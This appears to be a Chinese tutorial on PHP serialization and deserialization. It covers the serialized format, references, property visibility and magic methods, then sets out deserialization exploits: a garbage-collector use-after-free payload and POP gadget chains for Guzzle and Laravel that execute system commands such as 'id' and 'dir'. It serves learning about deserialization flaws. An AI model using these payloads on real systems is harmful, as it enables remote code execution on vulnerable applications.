php 序列化与反序列化

a - array 数组b - boolean 布尔d - double 浮点数i - integer 数字o - common object PHP3 中被引入用来序列化对象r - reference 对象引用s - non-escaped binary stringS - escaped binary stringC - custom object 自定义的对象序列化O - class 序列化对象 PHP4 取代oN - nullR - pointer reference 指针引用U - unicode string PHP6 引入unicode编码字符串

class SampleClass {    var $value;}$a = new SampleClass();$a->value = $a; //对象引用$b = new SampleClass();$b->value = &$b; //指针引用var_dump(serialize($a));var_dump(serialize($b));$a->value = 1; //不会更改本身对象$b->value = 1; //会改变本身对象var_dump(serialize($a));var_dump(serialize($b));

O:11:"SampleClass":1:{s:5:"value";r:1;}O:11:"SampleClass":1:{s:5:"value";R:1;}O:11:"SampleClass":1:{s:5:"value";i:1;}i:1;

class demo{  protected $protected = 1;  private $private = 2;}$c = new demo;var_dump(serialize($c));$s = "O:4:\"demo\":1:{s:1:\"s\";N;}";var_dump(unserialize($s));$f = "O:4:\"demo\":2:{s:12:\"\00*\00protected\";i:2;s:13:\"\00demo\00private\";N;}";var_dump(unserialize($f));

O:4:"demo":2:{s:12:"�*�protected";i:1;s:13:"�demo�private";i:2;}

object(demo)[2]  protected 'protected' => int 1  private 'private' => int 2  public 's' => null

object(demo)[2]    protected 'protected' => int 2    private 'private' => null

Serializable {  abstract public string serialize ( void )  abstract public mixed unserialize ( string $serialized )}

class demo implements Serializable{  private $data;  public function __wakeup(){        var_dump("__wakeup");    }    public function __sleep(){        var_dump("__sleep");    }    public function __construct(){    $this->data = "this is demo";    var_dump("__construct");  }  public function serialize(){    return serialize($this->data);  }  public function unserialize($data){    $this->data = unserialize($data);  }  public function getData(){    return $this->data;  }  public function __destruct(){    return var_dump("__destruct");  }}$obj = new demo;$ser = serialize($obj);$b = unserialize($ser);var_dump($b);

'__construct' (length=11)
object(demo)[2]s  private 'data' => string 'this is demo' (length=12)
'__destruct' (length=10)
'__destruct' (length=10)

define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);// Create a fake zval string which will fill our freed space later on.$fake_zval_string = pack('L', 1337).pack('L', 0).str_repeat("\x01", 8);$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';// Create a sandwich like structure:// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE$overflow_gc_buffer = '';for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {    $overflow_gc_buffer .= 'i:0;a:0:{}';    $overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;}// The decrementor_object will be initialized with the contents of our target array ($free_me).$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';// The following references will point to the $free_me array (id=3) within unserialize.$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';// Setup our target array i.e. an array that is supposed to be freed during unserialization.$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';// Increment each decrementor_object reference count by 2.$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';// Trigger the GC and free our target array.$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';// Add our GC trigger and add a reference to the target array.$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';$a = unserialize($payload);var_dump($a);

__construct()， __destruct()， __call()， __callStatic()， __get()， __set()， __isset()， __unset()， __sleep()， __wakeup()， __toString()， __invoke()， __set_state()， __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法（Magic methods）在给不可访问属性赋值时，__set() 会被调用。读取不可访问属性的值时，__get() 会被调用。当对不可访问属性调用 isset() 或 empty() 时，__isset() 会被调用。当对不可访问属性调用 unset() 时，__unset() 会被调用。属性重载只能在对象中进行。在静态方法中，这些魔术方法将不会被调用。所以这些方法都不能被 声明为 static。从 PHP 5.3.0 起, 将这些魔术方法定义为 static 会产生一个警告。

function __call($name, $arguments)    {        // 注意: $name 的值区分大小写        echo "Calling object method '$name' "             . implode(', ', $arguments). "\n";    }    /**  PHP 5.3.0之后版本  */    public static function __callStatic($name, $arguments)    {        // 注意: $name 的值区分大小写        echo "Calling static method '$name' "             . implode(', ', $arguments). "\n";    }}$obj = new MethodTest;$obj->runTest('in object context');MethodTest::runTest('in static context');  // PHP 5.3.0之后版本?>Calling object method 'runTest' in object contextCalling static method 'runTest' in static context

O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:3:\"dir\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}

public function generate(array $parameters){        $function = $parameters['function'];        $parameter = $parameters['parameter'];

        return new \GuzzleHttp\Psr7\FnStream([            'close' => [                new \GuzzleHttp\HandlerStack($function, $parameter),                'resolve'            ]        ]);    }

namespace Psr\Http\Message{  interface StreamInterface{}}
namespace GuzzleHttp\Psr7{  class FnStream implements \Psr\Http\Message\StreamInterface  {      private $methods;      public function __construct(array $methods)      {          $this->methods = $methods;          foreach ($methods as $name => $fn) {              $this->{'_fn_' . $name} = $fn;          }      }      /*      public function __destruct()      {          if (isset($this->_fn_close)) {              call_user_func($this->_fn_close);          }      }
      public function close()      {          return call_user_func($this->_fn_close);      }      */  }}namespace GuzzleHttp{  class HandlerStack  {      private $handler;      private $stack;      private $cached = false;      function __construct($function, $parameter)      {        $this->stack = [[$function]];        $this->handler = $parameter;      }      /*      public function resolve()      {          if (!$this->cached) {              if (!($prev = $this->handler)) {                  throw new \LogicException('No handler has been specified');              }              foreach (array_reverse($this->stack) as $fn) {                  $prev = $fn[0]($prev);              }              $this->cached = $prev;          }          return $this->cached;      }      */  }}

protected function mockConsoleOutput(){        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),        ]);
        foreach ($this->test->expectedQuestions as $i => $question) {            $mock->shouldReceive('askQuestion')                ->once()                ->ordered()                ->with(Mockery::on(function ($argument) use ($question) {                    return $argument->getQuestion() == $question[0];                }))                ->andReturnUsing(function () use ($question, $i) {                    unset($this->test->expectedQuestions[$i]);
                    return $question[1];                });        }        $this->app->bind(OutputStyle::class, function () use ($mock) {            return $mock;        });    }

namespace Illuminate\Foundation\Testing{    class PendingCommand{        public $test;        protected $app;        protected $command;        protected $parameters;                public function __construct($test, $app, $command, $parameters){            $this->test = $test;            $this->app = $app;            $this->command = $command;            $this->parameters = $parameters;        }    }}
namespace PHPUnit\Framework{    class TestCase{        public function __construct(){ }    }}
namespace Illuminate\Foundation{    class Application{        public function __construct() { }    }}
namespace{    $defaultgenerator = new PHPUnit\Framework\TestCase;    $application = new Illuminate\Foundation\Application();    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));    echo urlencode(serialize($pendingcommand));}

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),        ]);

namespace Faker{    class DefaultGenerator  {      protected $default;      public function __construct($default = null)      {          $this->default = $default;      }  }}

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

public function make($abstract, array $parameters = []){        return $this->resolve($abstract, $parameters);    }

protected function resolve($abstract, $parameters = []){        $abstract = $this->getAlias($abstract);        $needsContextualBuild = ! empty($parameters) || ! is_null(            $this->getContextualConcrete($abstract)        );        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {            return $this->instances[$abstract];        }        $this->with[] = $parameters;        $concrete = $this->getConcrete($abstract);        if ($this->isBuildable($concrete, $abstract)) {            $object = $this->build($concrete);        } else {            $object = $this->make($concrete);        }        foreach ($this->getExtenders($abstract) as $extender) {            $object = $extender($object, $this);        }        if ($this->isShared($abstract) && ! $needsContextualBuild) {            $this->instances[$abstract] = $object;        }        $this->fireResolvingCallbacks($abstract, $object);        $this->resolved[$abstract] = true;        array_pop($this->with);        return $object;    }

namespace Illuminate\Foundation{    class Application{        protected $instances = [];        public function __construct($instances = []){            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;        }    }}